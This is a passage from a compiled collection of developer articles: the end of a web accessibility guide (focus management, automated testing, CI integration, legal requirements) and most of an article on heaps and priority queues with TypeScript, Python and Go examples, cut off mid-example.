<!-- Bad: Only color indicates required field -->
<label style="color: red;">Email</label>
<input type="email" name="email" />

<!-- Good: Color plus text/symbol indicator -->
<label>Email <span class="required" aria-label="required">*</span></label>
<input type="email" name="email" required />

<!-- Good: Error states with multiple indicators -->
<label for="email">Email</label>
<input type="email" id="email" name="email" aria-invalid="true" class="error" aria-describedby="email-error" />
<div id="email-error" class="error-message" role="alert">⚠️ Please enter a valid email address</div>
```

### Keyboard Navigation and Focus Management

**Focus Indicators**
Provide clear, visible focus indicators for all interactive elements:

```css
/* Ensure focus indicators are visible */
button:focus,
input:focus,
select:focus,
textarea:focus,
a:focus {
  outline: 2px solid #005fcc;
  outline-offset: 2px;
}

/* Custom focus styles that meet contrast requirements */
.custom-button:focus {
  box-shadow: 0 0 0 3px rgba(0, 95, 204, 0.5);
  outline: 2px solid #005fcc;
}
```

**Focus Trapping**

Modals must trap focus—users shouldn't be able to Tab out of the modal to content behind it. The pattern: track first/last focusable elements, intercept Tab at boundaries.

```javascript title="focus-trap.js" collapse={1-3, 14-18}
function trapFocus(element) {
  const focusable = element.querySelectorAll('button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])')
  const first = focusable[0]
  const last = focusable[focusable.length - 1]

  element.addEventListener("keydown", (e) => {
    if (e.key !== "Tab") return
    if (e.shiftKey && document.activeElement === first) {
      last.focus()
      e.preventDefault()
    } else if (!e.shiftKey && document.activeElement === last) {
      first.focus()
      e.preventDefault()
    }
  })
}
```

### Dynamic Content and SPAs

SPAs and dynamic content require explicit accessibility management that static pages handle automatically.

**Live Regions** announce changes to screen readers without moving focus:

```html
<!-- polite: announced when user is idle; assertive: immediate interruption -->
<div id="status" role="status" aria-live="polite"></div>
<div id="alerts" role="alert" aria-live="assertive"></div>
```

**SPA Route Changes** must update document title and move focus:

```javascript title="spa-navigation.js" collapse={1-2}
function navigateToPage(pageContent, pageTitle) {
  document.getElementById("main-content").innerHTML = pageContent
  document.title = pageTitle

  // Move focus to main content, not page top
  const main = document.getElementById("main-content")
  main.setAttribute("tabindex", "-1")
  main.focus()
}
```

**Modal Focus** requires: (1) trap focus inside, (2) return focus on close.

```javascript title="modal-focus.js" collapse={1-2, 9-13}
function openModal(modal) {
  const previousFocus = document.activeElement

  modal.removeAttribute("hidden")
  modal.querySelector("button, [href], input")?.focus()
  trapFocus(modal)

  modal.addEventListener("close", () => previousFocus.focus(), { once: true })
}
```

## Testing Strategies

Automated tools detect ~57% of individual accessibility issues (Deque 2024 study across 13,000+ pages) but only ~35% of WCAG success criteria are fully automatable. The remaining issues require manual testing—there's no shortcut.

### Automated Testing Coverage

| What Automation Catches                  | What Requires Manual Testing     |
| ---------------------------------------- | -------------------------------- |
| Missing alt text (presence, not quality) | Alt text accuracy and context    |
| Color contrast ratios                    | Color-only information conveying |
| Missing form labels                      | Label clarity and helpfulness    |
| Duplicate IDs                            | Logical reading order            |
| ARIA attribute validity                  | ARIA usage correctness           |
| Heading structure                        | Content organization             |

Contrast issues alone account for ~30% of detected issues—highly automatable but only part of the picture.

### Tool Selection

**axe-core** powers most accessibility testing. Use `@axe-core/playwright` or `cypress-axe` for CI integration. Configure for WCAG 2.2 AA:

```javascript title="playwright.config.js" collapse={1-5}
// Configure axe for WCAG 2.2 AA
const axeConfig = {
  runOnly: {
    type: "tag",
    values: ["wcag2a", "wcag2aa", "wcag21a", "wcag21aa", "wcag22aa"],
  },
}
```

**Pa11y** for CLI/CI pipelines—respects `robots.txt` and handles JavaScript-rendered content.

**Lighthouse** provides quick audits but uses a subset of axe-core rules. Use for initial scans, not compliance verification.

### Screen Reader Testing

Test with at least one screen reader per platform your users access:

| Platform  | Screen Reader | Market Share | Notes                                      |
| --------- | ------------- | ------------ | ------------------------------------------ |
| Windows   | NVDA          | ~40%         | Free, open-source, most common for testing |
| Windows   | JAWS          | ~30%         | Commercial, enterprise standard            |
| macOS/iOS | VoiceOver     | ~15%         | Built-in, required for Apple ecosystem     |
| Android   | TalkBack      | ~10%         | Built-in, required for Android             |

Focus testing on: navigation flow, form completion, dynamic content updates, and error recovery.

## CI/CD Integration for Automated Accessibility Testing

Integrating accessibility testing into your continuous integration and deployment pipeline ensures that accessibility issues are caught early and consistently.

### Setting Up Automated Testing in CI/CD

**GitHub Actions Example**:

```yaml title=".github/workflows/accessibility.yml" collapse={1-22}
name: Accessibility Testing
on: [push, pull_request]

jobs:
  accessibility-test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2

      - name: Setup Node.js
        uses: actions/setup-node@v2
        with:
          node-version: "16"

      - name: Install dependencies
        run: npm install

      - name: Build application
        run: npm run build

      - name: Start application
        run: npm start &

      - name: Wait for application to start
        run: sleep 30

      - name: Run Pa11y tests
        run: |
          npx pa11y-ci --sitemap http://localhost:3000/sitemap.xml

      - name: Run axe tests with Cypress
        run: npx cypress run --spec "cypress/integration/accessibility.spec.js"
```

**Cypress with axe-core**:

```javascript title="cypress/integration/accessibility.spec.js" collapse={1-6}
// cypress/integration/accessibility.spec.js
describe("Accessibility Tests", () => {
  beforeEach(() => {
    cy.visit("/")
    cy.injectAxe()
  })

  it("Has no accessibility violations on home page", () => {
    cy.checkA11y()
  })

  it("Has no accessibility violations on contact form", () => {
    cy.visit("/contact")
    cy.checkA11y()
  })

  it("Has no accessibility violations after form interaction", () => {
    cy.visit("/contact")
    cy.get("#name").type("Test User")
    cy.get("#email").type("test@example.com")
    cy.checkA11y()
  })
})
```

**Playwright with axe-core**:

```javascript title="tests/accessibility.spec.js" collapse={1-3}
const { test, expect } = require("@playwright/test")
const AxeBuilder = require("@axe-core/playwright")

test("Homepage accessibility", async ({ page }) => {
  await page.goto("/")

  const accessibilityScanResults = await new AxeBuilder({ page }).analyze()

  expect(accessibilityScanResults.violations).toEqual([])
})
```

### Quality Gates and Reporting

Implement accessibility quality gates that fail builds when critical issues are found:

```yaml
# .github/workflows/accessibility.yml
- name: Run accessibility tests
  run: |
    npx pa11y-ci --threshold 5 http://localhost:3000
  continue-on-error: false

- name: Generate accessibility report
  run: |
    npx pa11y-ci --reporter json > accessibility-report.json

- name: Upload accessibility report
  uses: actions/upload-artifact@v2
  with:
    name: accessibility-report
    path: accessibility-report.json
```

## Web Components and Shadow DOM

Shadow DOM creates accessibility challenges because ARIA attributes don't penetrate the shadow boundary and screen readers may not correctly associate labels across boundaries.

**Key patterns:**

```javascript title="web-component-a11y.js" collapse={1-8}
class AccessibleComponent extends HTMLElement {
  static get observedAttributes() {
    return ["aria-label", "aria-describedby"]
  }

  connectedCallback() {
    // Forward ARIA from host to shadow root element
    const button = this.shadowRoot.querySelector("button")
    for (const attr of AccessibleComponent.observedAttributes) {
      if (this.hasAttribute(attr)) {
        button.setAttribute(attr, this.getAttribute(attr))
      }
    }
  }

  attributeChangedCallback(name, oldVal, newVal) {
    // Keep shadow DOM in sync with host attributes
    this.shadowRoot?.querySelector("button")?.setAttribute(name, newVal)
  }
}
```

**Edge cases:**

- `aria-labelledby` and `aria-describedby` cannot reference IDs outside the shadow root
- Use `aria-label` instead, or expose a `<slot>` for labeling content
- Focus delegation with `delegatesFocus: true` in `attachShadow()` options

## Legal Requirements

Accessibility law has shifted from guidance to enforcement. Know your obligations.

### United States

**ADA Title II** (state/local government): DOJ's 2024 rule mandates WCAG 2.1 AA by April 2026 for entities with 50,000+ population, April 2027 for smaller entities.

**ADA Title III** (private sector): No explicit WCAG version in regulation, but courts consistently apply WCAG 2.1 AA as the standard. The "places of public accommodation" interpretation covers websites—Domino's v. Robles (2019) confirmed this.

**Section 508** (federal government): Still references WCAG 2.0 AA via the Revised 508 Standards (2017). Refresh expected but not yet scheduled.

### European Union

**European Accessibility Act (EAA)**: Enforced since June 28, 2025. Applies to businesses selling to EU customers regardless of where the business is located. Currently requires WCAG 2.1 AA via EN 301 549; update to include WCAG 2.2 in progress.

**Web Accessibility Directive**: Applies to public sector bodies. Required WCAG 2.1 AA since September 2020.

> **Practical note:** Target WCAG 2.2 AA even if current laws reference 2.1. The delta is 6 criteria, and demonstrating awareness of current standards strengthens legal defensibility.

## Appendix

### Prerequisites

- HTML5 semantic elements and document structure
- CSS layout and responsive design fundamentals
- JavaScript event handling and DOM manipulation
- Basic understanding of assistive technology categories (screen readers, switch devices, voice control)

### Summary

- **WCAG 2.2** contains 86 success criteria across three levels (A: 32, AA: +24, AAA: +30)
- **New in 2.2**: 9 criteria targeting cognitive accessibility, motor accessibility, and focus visibility; 4.1.1 Parsing removed
- **Legal compliance** requires WCAG 2.1 AA minimum (US ADA, EU EAA); target 2.2 AA for future-proofing
- **Automated testing** catches ~57% of individual issues but only ~35% of criteria; manual testing is mandatory
- **Semantic HTML** provides most accessibility automatically; ARIA supplements for custom widgets
- **Focus management** in SPAs and modals is the most common source of regressions

### Terminology

- **a11y**: Numeronym for "accessibility" (a + 11 letters + y)
- **AT**: Assistive Technology—software/hardware enabling people with disabilities to use computers
- **POUR**: Perceivable, Operable, Understandable, Robust—WCAG's organizing principles
- **ARIA**: Accessible Rich Internet Applications—W3C specification for enhancing HTML semantics
- **Live Region**: ARIA mechanism for announcing dynamic content changes to screen readers
- **Focus Trap**: Containing keyboard focus within a component (intentional in modals, a bug elsewhere)

### References

**Specifications (Primary)**

- [WCAG 2.2 W3C Recommendation](https://www.w3.org/TR/WCAG22/) - Normative requirements
- [Understanding WCAG 2.2](https://www.w3.org/WAI/WCAG22/Understanding/) - Intent and techniques for each criterion
- [What's New in WCAG 2.2](https://www.w3.org/WAI/standards-guidelines/wcag/new-in-22/) - W3C summary of changes
- [WAI-ARIA 1.2](https://www.w3.org/TR/wai-aria-1.2/) - ARIA specification
- [ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) - Component patterns and keyboard interaction

**Official Documentation**

- [MDN Accessibility Guide](https://developer.mozilla.org/en-US/docs/Web/Accessibility) - Browser implementation details
- [ADA.gov Web Accessibility Guidance](https://www.ada.gov/resources/web-guidance/) - DOJ official guidance
- [EN 301 549](https://www.etsi.org/deliver/etsi_en/301500_301599/301549/03.02.01_60/en_301549v030201p.pdf) - EU accessibility standard

**Testing Tools**

- [axe-core](https://github.com/dequelabs/axe-core) - Accessibility testing engine
- [Deque Automated Testing Coverage Report](https://www.deque.com/blog/automated-testing-study-identifies-57-percent-of-digital-accessibility-issues/) - Research on automation limits
- [DWP Accessibility Manual: Automated Testing](https://accessibility-manual.dwp.gov.uk/best-practice/automated-testing-using-axe-core-and-pa11y) - UK government testing guidance

**Legal**

- [DOJ ADA Title II Web Accessibility Rule (2024)](https://www.ada.gov/resources/2024-03-08-web-rule/) - Federal Register notice
- [European Accessibility Act](https://ec.europa.eu/social/main.jsp?catId=1202) - EU directive overview

# PROGRAMMING & PATTERNS

Algorithms, data structures, and JavaScript patterns.

---

## Heaps and Priority Queues: Internals, Trade-offs, and When Theory Breaks Down

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/data-structures/heaps-and-priority-queues
**Category:** Programming & Patterns / Data Structures
**Description:** Heaps provide the fundamental abstraction for “give me the most important thing next” in O(log n) time. Priority queues—the abstract interface—power task schedulers, shortest-path algorithms, and event-driven simulations. Binary heaps dominate in practice not because they’re theoretically optimal, but because array storage exploits cache locality. Understanding the gap between textbook complexity and real-world performance reveals when to use standard libraries, when to roll your own, and when the “better” algorithm is actually worse.

# Heaps and Priority Queues: Internals, Trade-offs, and When Theory Breaks Down

Heaps provide the fundamental abstraction for "give me the most important thing next" in O(log n) time. Priority queues—the abstract interface—power task schedulers, shortest-path algorithms, and event-driven simulations. Binary heaps dominate in practice not because they're theoretically optimal, but because array storage exploits cache locality. Understanding the gap between textbook complexity and real-world performance reveals when to use standard libraries, when to roll your own, and when the "better" algorithm is actually worse.

<figure>

![Priority queue implementations. Binary heaps win for most workloads; pairing heaps excel when decrease-key is frequent.](./priority-queue-implementations-binary-heaps-win-for-most-workloads-pairing-heaps.svg)

<figcaption>Priority queue implementations. Binary heaps win for most workloads; pairing heaps excel when decrease-key is frequent.</figcaption>
</figure>

## Abstract

A heap is a complete binary tree stored in an array where each parent dominates its children (min-heap: parent ≤ children, max-heap: parent ≥ children). Array indices encode parent-child relationships: for a node at index `i`, the parent is at `⌊(i-1)/2⌋`, children at `2i+1` and `2i+2`. This implicit structure eliminates pointer overhead and enables contiguous memory access.

The core operations:

| Operation      | Binary Heap | What Happens                      |
| -------------- | ----------- | --------------------------------- |
| peek           | O(1)        | Root is always min/max            |
| insert         | O(log n)    | Add at end, bubble up             |
| extractMin/Max | O(log n)    | Swap root with last, bubble down  |
| buildHeap      | O(n)        | Heapify bottom-up (not n × log n) |
| decreaseKey    | O(log n)    | Update value, bubble up           |

The O(n) buildHeap complexity is counterintuitive—it works because most nodes are near the leaves where heapify is cheap. Fibonacci heaps offer O(1) amortized decrease-key, but their constant factors make them slower than binary heaps in practice for all but very large, dense graphs.

**The critical insight**: theoretical complexity is dominated by cache effects for heap sizes exceeding L1/L2 cache. A 4-ary heap can be 17-30% faster than a binary heap due to reduced tree height and better cache line utilization, despite performing more comparisons per level.

## The Heap Property and Array Representation

A binary heap satisfies two constraints:

1. **Shape property**: A complete binary tree—all levels filled except possibly the last, which fills left-to-right
2. **Heap property**: Each node dominates its children (min-heap: `A[parent] ≤ A[child]`, max-heap: `A[parent] ≥ A[child]`)

### Why Array Storage Works

The complete binary tree constraint enables an elegant array representation without explicit pointers:

```ts title="Heap index arithmetic (0-indexed)" collapse={1-2}
// Fundamental relationships for array-based heaps

function parent(i: number): number {
  return Math.floor((i - 1) / 2) // Equivalent: (i - 1) >> 1
}

function leftChild(i: number): number {
  return 2 * i + 1 // Equivalent: (i << 1) + 1
}

function rightChild(i: number): number {
  return 2 * i + 2 // Equivalent: (i << 1) + 2
}
```

CLRS uses 1-indexed arrays where `parent(i) = ⌊i/2⌋`, `left(i) = 2i`, `right(i) = 2i + 1`. Production implementations use 0-indexed arrays—the arithmetic is slightly messier but avoids wasting index 0.

**Memory layout advantage**: With 64-byte cache lines and 8-byte elements, a cache line holds 8 heap nodes. Sequential access during heapify loads multiple nodes for free. This is why array-based heaps outperform pointer-based structures despite identical asymptotic complexity.

### The Shape Guarantee

The complete tree property means:

- A heap with n nodes has height `⌊log₂ n⌋`
- Level k contains at most `2^k` nodes
- The last level may be incomplete, but fills left-to-right

This guarantees balanced structure without rotations or rebalancing—unlike BSTs where adversarial insertion order creates O(n) height.

## Core Operations: How Bubbling Works

### Insert (Bubble Up / Sift Up)

Insert places the new element at the end (maintaining completeness) then restores the heap property by repeatedly swapping with the parent if violated:

```ts title="Insert with bubble up" collapse={1-4, 20-25}
// Binary min-heap implementation
// heap is an array, size is the current element count

class MinHeap<T> {
  private heap: T[] = []
  private compare: (a: T, b: T) => number

  constructor(compareFn: (a: T, b: T) => number = (a, b) => (a as number) - (b as number)) {
    this.compare = compareFn
  }

  insert(value: T): void {
    this.heap.push(value) // Add at end (O(1) amortized)
    this.bubbleUp(this.heap.length - 1) // Restore heap property
  }

  private bubbleUp(index: number): void {
    while (index > 0) {
      const parentIdx = Math.floor((index - 1) / 2)
      if (this.compare(this.heap[index], this.heap[parentIdx]) >= 0) {
        break // Heap property satisfied
      }
      // Swap with parent
      ;[this.heap[index], this.heap[parentIdx]] = [this.heap[parentIdx], this.heap[index]]
      index = parentIdx
    }
  }
}
```

**Worst case**: The new element is smaller than the root, requiring `log n` swaps up the entire height. **Best case**: The element belongs at the bottom, O(1). **Average case**: For random insertions, about half the path to root, still O(log n).

### Extract Min/Max (Bubble Down / Sift Down)

Extraction swaps the root with the last element, removes the last, then restores the heap property by bubbling down:

```ts title="Extract with bubble down" collapse={1-6}
// Continuing the MinHeap class

extractMin(): T | undefined {
  if (this.heap.length === 0) return undefined;
  if (this.heap.length === 1) return this.heap.pop();

  const min = this.heap[0];
  this.heap[0] = this.heap.pop()!;  // Move last to root
  this.bubbleDown(0);               // Restore heap property
  return min;
}

private bubbleDown(index: number): void {
  const size = this.heap.length;
  while (true) {
    const left = 2 * index + 1;
    const right = 2 * index + 2;
    let smallest = index;

    // Find smallest among node and its children
    if (left < size && this.compare(this.heap[left], this.heap[smallest]) < 0) {
      smallest = left;
    }
    if (right < size && this.compare(this.heap[right], this.heap[smallest]) < 0) {
      smallest = right;
    }

    if (smallest === index) break;  // Heap property satisfied

    [this.heap[index], this.heap[smallest]] = [this.heap[smallest], this.heap[index]];
    index = smallest;
  }
}
```

**Key detail**: We compare with both children and swap with the smaller one (min-heap). Swapping with the larger child would violate the heap property for the other subtree.

### Why Swap-with-Last Works

Removing the root directly would leave a hole requiring expensive restructuring. Swapping with the last element:

1. Maintains the complete tree shape (last element gone, root replaced)
2. Only potentially violates the heap property at the root
3. Bubbling down is bounded by tree height

## Build Heap: The O(n) Surprise

The naive approach—insert n elements one by one—costs O(n log n). But building a heap by calling heapify (bubble down) from the middle of the array upward runs in O(n).

### The Mathematical Insight

At most `⌈n/2^(h+1)⌉` nodes exist at height h. Heapify at height h costs O(h). The total work:

$$
\sum_{h=0}^{\lfloor \log n \rfloor} \frac{n}{2^{h+1}} \cdot O(h) = O(n) \sum_{h=0}^{\infty} \frac{h}{2^h} = O(n) \cdot 2 = O(n)
$$

The infinite series $\sum_{h=0}^{\infty} h/2^h = 2$ converges. Most nodes are leaves (height 0, zero work). Only one node has height log n (the root). The work distribution is heavily skewed toward cheap operations.

```ts title="Build heap in O(n)" collapse={1-3}
// Convert arbitrary array to valid heap

function buildHeap<T>(arr: T[], compare: (a: T, b: T) => number): void {
  const n = arr.length
  // Start from last non-leaf node, heapify each
  for (let i = Math.floor(n / 2) - 1; i >= 0; i--) {
    heapify(arr, n, i, compare)
  }
}

function heapify<T>(arr: T[], size: number, index: number, compare: (a: T, b: T) => number): void {
  let smallest = index
  const left = 2 * index + 1
  const right = 2 * index + 2

  if (left < size && compare(arr[left], arr[smallest]) < 0) smallest = left
  if (right < size && compare(arr[right], arr[smallest]) < 0) smallest = right

  if (smallest !== index) {
    ;[arr[index], arr[smallest]] = [arr[smallest], arr[index]]
    heapify(arr, size, smallest, compare)
  }
}
```

**Practical implication**: When you have all elements upfront, use buildHeap. It's 2× faster than repeated insertion for the same result.

## Heap Sort: O(n log n) Guaranteed, But Slower in Practice

Heap sort works by building a max-heap, then repeatedly extracting the maximum:

```ts title="Heap sort algorithm" collapse={1-3}
// In-place, unstable, O(n log n) guaranteed

function heapSort<T>(arr: T[], compare: (a: T, b: T) => number): void {
  const n = arr.length

  // Build max-heap (reverse comparison)
  for (let i = Math.floor(n / 2) - 1; i >= 0; i--) {
    maxHeapify(arr, n, i, compare)
  }

  // Extract elements one by one
  for (let i = n - 1; i > 0; i--) {
    ;[arr[0], arr[i]] = [arr[i], arr[0]] // Move max to end
    maxHeapify(arr, i, 0, compare) // Restore heap on reduced array
  }
}
```

### Why Heap Sort Loses to Quicksort

| Factor            | Heap Sort                     | Quicksort                              |
| ----------------- | ----------------------------- | -------------------------------------- |
| Worst case        | O(n log n) always             | O(n²) without pivot optimization       |
| Cache locality    | Poor—jumps across array       | Excellent—linear partitioning          |
| Branch prediction | Poor—unpredictable swap paths | Better—partition scans are predictable |
| Practical speed   | 1× baseline                   | 2-3× faster typically                  |

Quicksort scans memory linearly during partitioning, loading cache lines efficiently. Heap sort jumps between parent and children nodes, causing cache misses. Modern implementations like introsort use heap sort as a fallback when quicksort degenerates—getting quicksort's speed with heap sort's worst-case guarantee.

### Heap Sort Is Not Stable

Stability means equal elements maintain their original relative order. Heap sort swaps elements across large distances (root with last position), breaking stability. For stability, use merge sort or Timsort.

## D-ary Heaps: When More Children Means Faster

A d-ary heap generalizes binary heaps to d children per node:

- Index calculations: `parent(i) = ⌊(i-1)/d⌋`, children at `d*i + 1` through `d*i + d`
- Tree height: `log_d(n)` instead of `log_2(n)`
- Insert: Fewer levels to bubble up (faster)
- Extract: More comparisons per level to find smallest child (slower)

### Why 4-ary Heaps Win in Practice

Empirical benchmarks show 4-ary heaps are 17-30% faster than binary heaps. The reasons:

1. **Reduced height**: A 4-ary heap with 1M elements has height ~10 vs ~20 for binary
2. **Cache line utilization**: Four 8-byte children fit in a 64-byte cache line
3. **Fewer memory accesses**: Despite more comparisons, fewer cache misses dominate

```ts title="4-ary heap parent/child calculations" collapse={1-2}
// D-ary heap with d=4

const D = 4

function parent(i: number): number {
  return Math.floor((i - 1) / D)
}

function firstChild(i: number): number {
  return D * i + 1
}

// During bubble-down, compare all D children
function findSmallestChild(heap: number[], parentIdx: number, size: number): number {
  let smallest = parentIdx
  const start = D * parentIdx + 1
  const end = Math.min(start + D, size)

  for (let i = start; i < end; i++) {
    if (heap[i] < heap[smallest]) {
      smallest = i
    }
  }
  return smallest
}
```

**When to use d-ary**: For large heaps exceeding L2 cache where memory access dominates CPU cycles. For small heaps (<1000 elements), binary heaps are simpler and fast enough.

## Fibonacci Heaps: Theoretically Optimal, Practically Slow

Fibonacci heaps achieve:

- Insert: O(1) amortized
- Find-min: O(1)
- Decrease-key: O(1) amortized
- Extract-min: O(log n) amortized
- Merge: O(1)

This makes Dijkstra's algorithm O(m + n log n) instead of O(m log n) with binary heaps—significant for dense graphs where m ≈ n².

### Why Fibonacci Heaps Lose in Practice

1. **High constant factors**: The lazy consolidation machinery adds substantial overhead
2. **Pointer chasing**: Node-based structure defeats cache prefetching
3. **Complex implementation**: More opportunities for bugs, harder to optimize
4. **Amortized ≠ consistent**: Individual operations can spike to O(n)

Experimental studies consistently show pairing heaps outperform Fibonacci heaps despite weaker theoretical guarantees. For most applications, a binary heap with the "duplicate node" strategy (described below) beats both.

### The Duplicate Node Strategy

Instead of decrease-key, insert a new node with the updated priority. When extracting, skip stale entries:

```ts title="Priority queue without decrease-key" collapse={1-5}
// Used in Dijkstra's algorithm implementations
// Trade memory for simplicity—no need to track node positions

interface PQEntry<T> {
  priority: number
  value: T
  valid: boolean // Or use a Set to track processed nodes
}

class SimplePriorityQueue<T> {
  private heap: PQEntry<T>[] = []

  insert(priority: number, value: T): void {
    this.heap.push({ priority, value, valid: true })
    this.bubbleUp(this.heap.length - 1)
  }

  // Instead of decrease-key, insert again and mark old as invalid
  update(oldEntry: PQEntry<T>, newPriority: number): void {
    oldEntry.valid = false
    this.insert(newPriority, oldEntry.value)
  }

  extractMin(): T | undefined {
    while (this.heap.length > 0) {
      const entry = this.extractTop()
      if (entry?.valid) return entry.value
      // Skip invalid entries from previous decrease-key operations
    }
    return undefined
  }
}
```

This wastes memory (duplicate entries) but avoids tracking node positions in the heap—a significant implementation simplification.

## Standard Library Implementations

### Python: heapq Module

Python's `heapq` provides functions operating on regular lists. It's a min-heap only—for max-heap, negate values.

```python title="Python heapq usage" collapse={1-2}
# heapq operates on lists, doesn't wrap them

import heapq

data = [5, 1, 8, 3, 2]
heapq.heapify(data)       # O(n) in-place transformation
heapq.heappush(data, 4)   # O(log n) insert
smallest = heapq.heappop(data)  # O(log n) extract min

# No decrease-key—use duplicate node strategy
# No max-heap—negate values or use custom comparison
```

CPython implements `heapq` in C (`_heapqmodule.c`) for performance. The Python fallback in `Lib/heapq.py` uses optimized sift-up/sift-down that minimizes swaps by finding the final position before moving the element.

**Design decision**: Python uses 0-indexed arrays and `<` operator only (not `<=`), maintaining stability for equal elements within the heap operations themselves (though heapsort remains unstable).

### Go: container/heap Package

Go requires implementing an interface rather than providing a ready-to-use type:

```go title="Go heap interface implementation" collapse={1-5, 25-35}
// Go's heap requires implementing heap.Interface
// which embeds sort.Interface (Len, Less, Swap) plus Push and Pop

package main

import (
    "container/heap"
)

type IntHeap []int

func (h IntHeap) Len() int           { return len(h) }
func (h IntHeap) Less(i, j int) bool { return h[i] < h[j] }
func (h IntHeap) Swap(i, j int)      { h[i], h[j] = h[j], h[i] }

// Push and Pop are called by heap package, not directly
func (h *IntHeap) Push(x any) { *h = append(*h, x.(int)) }
func (h *IntHeap) Pop() any {
    old := *h
    n := len(old)
    x := old[n-1]
    *h = old[0 : n-1]
    return x
}

// Usage
func main() {
    h := &IntHeap{5, 1, 8, 3, 2}
    heap.Init(h)           // O(n)
    heap.Push(h, 4)        // O(log n)
    min := heap.Pop(h)     // O(log n)
}
```

**Why Go's design is confusing**: The `Push` and `Pop` methods on your type are for the heap package to call internally—you call `heap.Push(h, x)` and `heap.Pop(h)`. This indirection enables generic algorithms without generics (pre-Go 1.18 design).

### JavaScript: No Built-in Heap

JavaScript has no standard heap/priority queue. Common approaches:

1. **Third-party libraries**: `fastpriorityqueue` is optimized for V8
2. **Roll your own**: ~50 lines for a basic binary heap
3. **Sorted array**: O(n) insert but simple—fine for small n

```ts title="Minimal TypeScript binary heap" collapse={1-3}
// Production-grade implementation would add error handling

class MinHeap<T> {
  private heap: T[] = []

  constructor(private compare: (a: T, b: T) => number = (a, b) => (a as any) - (b as any)) {}

  push(val: T): void {
    this.heap.push(val)
    let i = this.heap.length - 1
    while (i > 0) {
      const p = (i - 1) >> 1
      if (this.compare(this.heap[i], this.heap[p]) >= 0) break
      ;[this.heap[i], this.heap[p]] = [this.heap[p], this.heap[i]]
      i = p
    }
  }

  pop(): T | undefined {
    if (this.heap.length <= 1) return this.heap.pop()
    const top = this.heap[0]
    this.heap[0] = this.heap.pop()!
    let i = 0
    while (true) {
      const l = 2 * i + 1,
        r = 2 * i + 2
      let min = i
      if (l < this.heap.length && this.compare(this.heap[l], this.heap[min]) < 0) min = l
      if (r < this.heap.length && this.compare(this.heap[r], this.heap[min]) < 0) min = r
      if (min === i) break
      ;[this.heap[i], this.heap[min]] = [this.heap[min], this.heap[i]]
      i = min
    }
    return top
  }

  peek(): T | undefined {
    return this.heap[0]
  }
  get size(): number {
    return this.heap.length
  }
}
```

## Real-World Applications

### Dijkstra's Shortest Path

The canonical priority queue application. Each vertex gets a tentative distance; the heap efficiently finds the next vertex to process:

```ts title="Dijkstra with binary heap" collapse={1-10, 35-45}
// Graph represented as adjacency list
// Edge: { to: number, weight: number }

interface Edge {
  to: number
  weight: number
}
type Graph = Edge[][]

interface HeapEntry {
  vertex: number
  distance: number
}

function dijkstra(graph: Graph, source: number): number[] {
  const n = graph.length
  const dist = Array(n).fill(Infinity)
  dist[source] = 0

  const heap = new MinHeap<HeapEntry>((a, b) => a.distance - b.distance)
  heap.push({ vertex: source, distance: 0 })

  const visited = new Set<number>()

  while (heap.size > 0) {
    const { vertex, distance } = heap.pop()!

    if (visited.has(vertex)) continue // Skip stale entries
    visited.add(vertex)

    for (const { to, weight } of graph[vertex]) {
      const newDist = distance + weight
      if (newDist < dist[to]) {
        dist[to] = newDist
        heap.push({ vertex: to, distance: newDist }) // Duplicate node strategy
      }
    }
  }

  return dist
}
```

**Complexity**: O((V + E) log V) with binary heap. For dense graphs (E ≈ V²), this becomes O(V² log V). A Fibonacci heap improves this to O(E + V log V), but only matters for very large, dense graphs.

### K-way Merge (External Sorting)

Merging k sorted streams using a heap of size k:

```ts title="K-way merge with heap" collapse={1-8}
// Merge k sorted iterators into one sorted output
// Used in external sorting, merge sort, database joins

interface StreamEntry<T> {
  value: T
  streamIndex: number
}

function* kWayMerge<T>(streams: Iterator<T>[], compare: (a: T, b: T) => number): Generator<T> {
  const heap = new MinHeap<StreamEntry<T>>((a, b) => compare(a.value, b.value))

  // Initialize heap with first element from each stream
  for (let i = 0; i < streams.length; i++) {
    const result = streams[i].next()
    if (!result.done) {
      heap.push({ value: result.value, streamIndex: i })
    }
  }

  // Extract min and refill from same stream
  while (heap.size > 0) {
    const { value, streamIndex } = heap.pop()!
    yield value

    const next = streams[streamIndex].next()
    if (!next.done) {
      heap.push({ value: next.value, streamIndex })
    }
  }
}
```

**Complexity**: O(n log k) where n is total elements across all streams. Each of n elements enters and leaves the heap once, costing O(log k) each.

### Event-Driven Simulation / Task Scheduling

Priority queues order events by timestamp, enabling efficient simulation:

```ts title="Event scheduler pattern" collapse={1-5}
// Generic event-driven simulation framework

interface Event {
  timestamp: number
  execute: () => Event[] // Returns new events to schedule
}

class EventScheduler {
  private queue = new MinHeap<Event>((a, b) => a.timestamp - b.timestamp)
  private currentTime = 0

  schedule(event: Event): void {
    if (event.timestamp < this.currentTime) {
      throw new Error("Cannot schedule event in the past")
    }
    this.queue.push(event)
  }

  run(until: number): void {
    while (this.queue.size > 0 && this.queue.peek()!.timestamp <= until) {
      const event = this.queue.pop()!
      this.currentTime = event.timestamp
      const newEvents = event.execute()
      for (const e of newEvents) {
        this.schedule(e)
      }
    }
  }
}
```

### Finding K Largest/Smallest Elements

A min-heap of size k efficiently tracks the k largest elements in a stream:

```ts title="Top-K with bounded heap" collapse={1-3}
// O(n log k) for n elements, O(k) space

function topK<T>(items: Iterable<T>, k: number, compare: (a: T, b: T) => number): T[] {
  const heap = new MinHeap<T>(compare)

  for (const item of items) {
    if (heap.size < k) {
      heap.push(item)
    } else if (compare(item, heap.peek()!) > 0) {
      heap.pop()
      heap.push(item)
    }
  }

  // Extract in sorted order
  const result: T[] = []
  while (heap.size > 0) {
    result.push(heap.pop()!)
  }
  return result.reverse()
}
```

For k largest, use a min-heap and keep only elements larger than the minimum. The heap always contains the k largest seen so far.

## Edge Cases and Failure Modes

### Empty Heap Operations

`extractMin` and `peek` on an empty heap should be handled gracefully:

```ts title="Defensive heap operations" collapse={1-2}
// Return undefined rather than throw

peek(): T | undefined {
  return this.heap[0];  // undefined if empty
}

pop(): T | undefined {
  if (this.heap.length === 0) return undefined;
  // ... rest of implementation
}
```

### Comparison Function Pitfalls

Incorrect comparisons cause subtle bugs:

```ts title="Comparison function gotchas" collapse={1-2}
// Common mistakes in comparison functions

// WRONG: NaN comparison
const badCompare = (a: number, b: number) => a - b
// NaN - anything = NaN, which is neither < 0 nor >= 0

// WRONG: Inconsistent ordering
